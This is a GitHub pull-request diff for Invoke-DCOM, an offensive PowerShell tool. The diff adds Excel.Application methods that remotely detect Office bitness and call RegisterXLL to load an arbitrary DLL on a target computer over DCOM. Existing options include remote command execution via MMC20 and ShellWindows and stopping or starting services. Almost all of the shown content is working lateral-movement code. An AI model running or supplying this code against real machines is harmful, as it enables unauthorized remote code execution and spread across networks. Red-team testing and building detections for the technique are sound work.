Merge pull request #2 from rxwx/master

Added Excel.Application methods, originally discovered by @RyHanson. …
This commit is contained in:
Steve Borosh
2017-07-23 10:48:36 -04:00
committed by GitHub
+21 -2
View File
@@ -50,7 +50,8 @@ function Invoke-DCOM {
$ComputerName,
[Parameter(Mandatory = $true, Position = 1)]
[ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart")]
[ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart",
"DetectOffice","RegisterXLL")]
[String]
$Method = "MMC20",
@@ -60,7 +61,12 @@ function Invoke-DCOM {
[Parameter(Mandatory = $false, Position = 3)]
[string]
$Command= "calc.exe"
$Command= "calc.exe",
[Parameter(Mandatory = $false, Position = 4)]
[string]
$DllPath,
)
Begin {
@@ -163,6 +169,19 @@ function Invoke-DCOM {
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Document.Application.ServiceStart("$ServiceName")
}
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
}
End {